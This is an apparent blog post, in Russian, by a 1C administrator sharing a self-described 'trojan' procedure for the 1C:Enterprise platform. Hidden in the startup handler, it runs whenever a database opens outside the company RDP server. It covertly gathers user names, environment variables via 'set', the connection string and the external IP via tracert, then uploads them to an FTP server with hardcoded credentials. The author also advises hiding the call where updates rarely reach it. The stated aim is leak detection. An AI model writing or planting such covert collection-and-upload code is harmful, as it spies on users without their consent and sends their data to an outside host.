Идея "собирать статистику" сама по себе не нова, вот и я решил аналогичным способом реализовать ее, «заразив» все свои базы 1С процедурой «ПроверитьМестоЗапуска1С()»
Вызов этой процедуры можно спрятать куда угодно, хоть в одно из часто выполняемых Регламентных заданий, хоть среди других таких процедур в общем модуле центра мониторинга. Конечно выбрать нужно место такое, которое как можно реже обновляется. Я банально вызываю ее из процедур «ПриНачалеРаботыСистемы()» в модуле приложения (управляемого/обычного).
Смысл идеи моего «трояна» заключалась в том, что если 1С запущена на компьютере с названием, отличным от названия нашего RDP сервера, то 1С сформирует файл со сведениями из окружения запуска и передает его на наш дежурный FTP сервер. Кстати способов передать файл с данными множество, я использовал FTP, поскольку у меня уже был поднят FTP сервер, хотя можно использовать и HTTPсоединение.
Поскольку в коде в открытом виде будет написан пароль для FTP соединения, создаем изолированную папку FTP для этого пользователя и создаем авто перенос уже переданных на FTP файлов в недоступное место. Это уже задача для системного администратора.
И так сама процедура:
Процедура ПроверитьМестоЗапуска1С()
// Вся процедура выполняется только, если 1С запущена не на «вашем» сервере.
// Конечно, можно использовать другие признаки опознавания работы с базой 1С не внутри вашей сети.
Если ИмяКомпьютера()<>"Name_YOU_Server_RDP" Тогда
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("txt");
Текст = Новый ТекстовыйДокумент;
//Сведения из окружения 1С, их сбор происходит незаметно для пользователя.
Текст.ДобавитьСтроку(ПолучитьЗаголовокСистемы());
Текст.ДобавитьСтроку(ИмяКомпьютера());
Текст.ДобавитьСтроку(ИмяПользователя());
Текст.ДобавитьСтроку(ПолноеИмяПользователя());
Текст.ДобавитьСтроку(КаталогВременныхФайлов());
Текст.ДобавитьСтроку(СтрокаСоединенияИнформационнойБазы());
Текст.ДобавитьСтроку(ФОРМАТ(ТекущаяДата(),"ДЛФ=DT"));
Текст.Записать(ИмяВременногоФайла, КодировкаТекста.OEM);
Текст=Неопределено;
//Эти сведения собираются с использованием командной строки, их сбор происходит с появлением черного окошка командной строки на 4 секунды.
КомандаСистемы("set >> "+ИмяВременногоФайла); //Переменные окружения иногда могут многое сказать о владельце компьютера
КомандаСистемы("tracert -d -h 3 -w 1000 -4 ya.ru >> "+ИмяВременногоФайла); //Это самая долгая операция, но зато позволяет узнать внешний IP адрес места, где запустили нашу 1С.
//Передаем сведения по FTP
АдресСайта = "You_Ftp_server.ru" ;
Порт = 21;
Логин = " YouFTPUser";
Пароль = " YouFTPPassword";
ИмяКаталога = "/";
FTPСоединение = Новый FTPСоединение(АдресСайта,Порт,Логин,Пароль,,Истина,5);
FTPСоединение.УстановитьТекущийКаталог(ИмяКаталога);
FTPСоединение.Записать(ИмяВременногоФайла,ИмяКомпьютера()+"_"+ФОРМАТ(ТекущаяДата(),"ДФ=yyyyMMdd")+".txt");
FTPСоединение=Неопределено;
КонецЕсли;
КонецПроцедуры
Ну вот и готов еще один способ информирования об утечки информации.